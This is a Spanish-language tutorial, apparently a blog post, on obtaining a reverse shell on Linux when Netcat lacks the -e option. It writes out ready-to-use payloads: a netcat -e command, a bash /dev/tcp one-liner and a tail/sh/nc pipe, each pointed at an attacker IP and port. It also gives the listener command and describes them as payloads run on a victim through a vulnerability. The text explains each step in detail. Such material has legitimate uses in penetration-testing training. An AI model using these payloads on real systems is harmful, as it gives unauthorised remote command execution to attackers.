Es muy sencillo obtener un reverse Shell con Netcat utilizando el parámetro -e, pero en la mayoría de los sistemas Linux, existe una versión de Netcat sin el parámetro -e y por ende es imposible ejecutar una reverse Shell a través de Netcat ¿o no?
Netcat Reverse Shell:
netcat 192.168.1.1 4444 -e /bin/bash
Es el Payload que se ejecutaría en el sistema victima a través de alguna vulnerabilidad detectada y permitiría a la maquina victima conectarse a la IP 192.168.1.1 en el puerto 4444, además ejecutara Bash cuando la conexión tenga éxito. En el lado del atacante se usaría Netcat de la siguiente manera: netcat -l -p 4444
y así es como se lograría una Shell reversa.
Pero en este articulo debemos de ver una forma en la cual no se utilice el parámetro -e como método para ejecutar Bash.
Así que vamos a enumerar una serie de métodos para lograr una Shell reversa sin la necesidad de usar el parámetro -e
1. Primer Work around de una shell con /dev/tcp
bash -i > /dev/tcp/192.168.112.128/4444 0<&1 2>&1
Este Payload ejecutara una Shell de Bash interactiva y la canalizara a través de una conexión por medio del pseudo device tcp hacia la dirección IP 192.168.112.128 en el puerto 4444. También en este mismo Payload se establece que el «Standard output» sea enviado al «Standar input» y que el «Standar error» sea enviado al «Standar output». Es decir, esto se hace para poder ver la respuesta del comando y la respuesta de error en caso de que se escriba un comando o ruta de manera errónea.
2. Segundo Work around de una shell con TAIL
tail -n 0 -f /tmp/1 | /bin/sh 2>&1 | nc -nv 192.168.112.128 4444 1> /tmp/1
Este Payload también ejecutara una reverse Shell. En dado caso de que la solución 1 no funcione, utiliza este.
Vamos a explicar este comando, pero antes citare el blog de donde lo he obtenido. Explicación:
1. El comando tail permite ver la cola de un archivo.
2. El parámetro -n 0 indica que no muestre ninguna línea actual del archivo a leer
3. El parámetro -f permite seguir el archivo en tiempo real, detectando cualquier cambio en el mismo
4. después se indica el archivo a leer el cual es un archivo llamado «1» dentro de la carpeta /tmp
5. con el pipe «|» se canaliza esa información hacia una Shell «/bin/sh»
6. El estándar error es enviado al estándar output 2>&1.
7. Netcat recibe el resultado del comando ejecutado en /bin/sh a través del archivo /tmp/1 y envía ese resultado hacia la conexión establecida por Netcat en la dirección IP 192.168.112.128 en el puerto 4444.
8. Netcat recibe cualquier texto que se escriba desde el otro extremo y es por ello que con 1> /tmp/1 se logra que el estándar output envié texto al archivo /tmp/1 que a su vez está siendo leído por tail y canalizado a través de Bash y finalmente enviado a la misma conexión, permitiendo así enviar y recibir comandos.
3. Tercer Work around de una shell con…
Saben, me da un poco de pereza agregar más métodos, así que les voy a enlazar a una cheat sheet de reverseShell alojada en GitHub.